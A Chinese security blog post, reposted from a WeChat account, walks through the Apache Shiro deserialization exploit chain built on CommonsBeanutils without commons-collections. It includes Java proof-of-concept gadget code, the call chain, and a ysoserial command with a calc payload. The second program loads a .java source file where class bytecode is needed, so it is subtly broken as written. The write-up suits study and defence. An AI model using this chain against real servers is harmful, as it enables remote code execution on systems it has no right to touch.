shiro无依赖利用链

admin 2023年11月30日09:37:07评论24 views字数 4971阅读16分34秒阅读模式

shiro无依赖利用链

CommonsBeanutils与无commons-collections的Shiro反序列化利用

在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链

https://github.com/phith0n/JavaThings

首先分析漏洞的成因,之后写一下利用。

正常情况下shiro是不带CC的依赖的,如果想打只能分析它本身带的依赖。commons-beanutils-1.8.3.jar在所有的依赖中,只有它是有完整的反序列化利用链。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。 关于JavaBean的说明可以参考这篇文章

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
    public static void main(String[] args) throws Exception {
        //加上cc3代码执行的部分。
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://CodeReview/Java/Code_CC/CC/CC/target/classes/org/example/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

// 对templates对象调用
// 下面的outputProperties首字母要小写,符合PropertyUtils的命名规则,后续找方法的时候PropertyUtils会把变量转成大写
    PropertyUtils.getProperty(templates,"outputProperties");
    }
}

shiro无依赖利用链

image-20231116160841029

PropertyUtils.getProperty(person, "age")这里是CB的一个使用。当我们进行拼接的时候。可以执行。执行的原因就是相当于调用了templates的outputProperties方法。

因此,如果PropertyUtils.getProperty他的属性值能够进行控制的话,那我们就能进行执行鳓

PropertyUtils.getProperty加入到反序列化利用链里面。往上找,谁调用了他。

shiro无依赖利用链

image-20231120185554740

这里就是一个可以利用的点,o1这个参数。

这里compare函数是在CC2中讲过的

(整体的流程,调用的链)

PriorityQueue.readObject

BeanComparator.compare

PropertyUtils.getProperty (把PropertyUtils.getProperty加入到反序列化利用链里面)

TemplatesImpl.getOutputProperties

TemplatesImpl.newTransformer

defineClass.newInstance

因此我们就可以简单写一下CB的整体调用链了。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javafx.scene.layout.Priority;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {
        //代码执行的部分,CC3里面的
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://CodeReview/Java/Code_CC/CC/CC/src/main/java/org/example/Test.java"));//字节,从一个文件里面读
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //需要把CB加进去
        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

        //CC2
        //PriorityQueue priorityQueue = new PriorityQueue<>();
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        //通过反射的方式更改一下priorityQueue里面的值
        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparatorField = c.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");


    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
        return obj;
    }

}

以上。

然后可以使用现成的项目生成

https://github.com/frohoff/ysoserial

shiro无依赖利用链

image-20231122134514291
java -jar ysoserial-all.jar CommonsBeanutils1 calc > ser.bin
python shiro_rce.py

但是要注意的是,这里CB依赖要一直,这里他用的是1.9版本。默认是1.8.3的。

shiro无依赖利用链

image-20231122135858538


原文始发于微信公众号(wulala520):shiro无依赖利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月30日09:37:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   shiro无依赖利用链http://cn-sec.com/archives/2254179.html

发表评论

匿名网友 填写信息